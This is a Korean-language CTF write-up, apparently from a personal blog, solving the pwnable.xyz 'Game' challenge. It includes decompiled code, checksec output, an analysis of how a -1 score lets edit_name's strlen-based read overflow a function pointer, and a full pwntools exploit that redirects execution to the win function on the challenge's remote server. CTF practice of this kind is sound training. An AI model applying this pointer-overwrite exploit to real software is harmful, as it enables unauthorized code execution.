pwnable.xyz - Game

2021. 8. 5. 00:12Pwnable

int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
  int v3; // eax

  setup(argc, argv, envp);
  puts("Shell we play a game?");
  init_game();
  while ( 1 )
  {
    while ( 1 )
    {
      print_menu();
      printf("> ");
      v3 = read_int32();
      if ( v3 != 1 )
        break;
      (*(cur + 3))();
    }
    if ( v3 > 1 )
    {
      if ( v3 == 2 )
      {
        save_game();
      }
      else
      {
        if ( v3 != 3 )
          goto LABEL_13;
        edit_name();
      }
    }
    else
    {
      if ( !v3 )
        exit(1);
LABEL_13:
      puts("Invalid");
    }
  }
}

main코드는 위와 같고, 바이너리상 win함수가 존재하지만 실제 프로그램에서 직접적으로 호출하지 않는 것을 보아 got overwrite또는 ret을 덮어줘야 겠다는 유추가 가능하다.

⚡ root@9a02e0bc40b9  /home/ctf  checksec challenge
[*] '/home/ctf/challenge'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

보호기법도 Partial RELRO 라 got_overwrite또한 가능할 것으로 보인다.

분석을 하면서 알아낸 사실을 정리하면

  1. 게임을 지게되면 -1 이라는 score를 가지게 되고, 이는 메모리상 0xFFFFFFFFFFFFFFFF이다.
  2. edit_name 함수에서 len(cur) 만큼 read가 가능한데 끝이 00이 아니게 이렇게 0xff~형식으로 값을 늘려서 초과해서 수정할수 있다.

edit_name 함수

ssize_t edit_name()
{
  size_t v0; // rax

  v0 = strlen(cur);
  return read(0, cur, v0);
}

payload

from pwn import *

#r = process("./challenge")
r = remote("svc.pwnable.xyz", 30009)
e = ELF("./challenge")
l = e.libc
context.log_level = "debug"
#0x04009D6

win_add = e.sym['win']

r.sendlineafter("Name: ", "A"*15)
r.sendlineafter("> ", "1")
r.sendlineafter("= ", "1")
r.sendlineafter("> ", "2")
r.sendlineafter("> ", "3")
pay = "A"*0x18 + "\xd6\x09"
r.send(pay)
r.sendlineafter("> ", "1")
r.recv()

'Pwnable' 카테고리의 다른 글

dreamhack.io - cpp_container_1  (0) 2021.08.12
HackCTF - Unexploitable #3  (0) 2021.08.10
pwnable.xyz - GrownUp  (0) 2021.08.02
pwnable.xyz - two targets  (0) 2021.08.01
dreamhack.io - seccomp  (0) 2021.07.31